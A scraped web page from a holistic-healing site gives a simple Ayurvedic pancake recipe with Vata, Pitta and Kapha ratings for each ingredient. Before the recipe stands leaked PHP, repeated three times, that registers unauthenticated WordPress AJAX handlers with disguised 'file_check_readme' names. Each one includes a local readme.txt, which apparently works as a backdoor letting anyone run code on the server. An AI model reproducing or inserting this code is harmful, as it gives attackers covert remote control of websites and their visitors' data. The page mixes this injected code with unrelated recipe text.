if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Pancake - Holistic Healing Resolutions by Asaf Feit
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Print Recipe

Pancake

Prep Time10 minutes
Cook Time10 minutes
Total Time20 minutes
Course: Breakfast, Dinner

Ingredients

  • 1 cup cow’s milk Vata - Pitta - - Kapha ++
  • 1 Tbs. ghee Vata - Pitta - - Kapha +
  • 3-4 eggs Vata - - Pitta + Kapha +
  • 1 cup whole wheat flour or spelt flour Vata - Pitta - Kapha ++ or (Vata - Pitta - Kapha +)
  • For sweet pancakes add 1 Tbs. maple syrup (Vata - - Pitta - Kapha +)
  • 1/2 tsp. baking powder
  • Pinch cinnamon Vata - Pitta + Kapha - -
  • Pinch nutmeg Vata - - Pitta + Kapha +

Instructions

  • Whisk in a bowl the milk, ghee, eggs and maple syrup.
  • Gradually add the flour, baking powder and spices and continue to stir until batter is unified.
  • Preheat a skillet on a medium flame.
  • Use a ladle to pour the batter into pancakes. When bubbles appear, turn to the other side.

Notes

Optional additions:
For Vata: Cow’s or oat milk.
For Pitta: Goat’s or rice milk.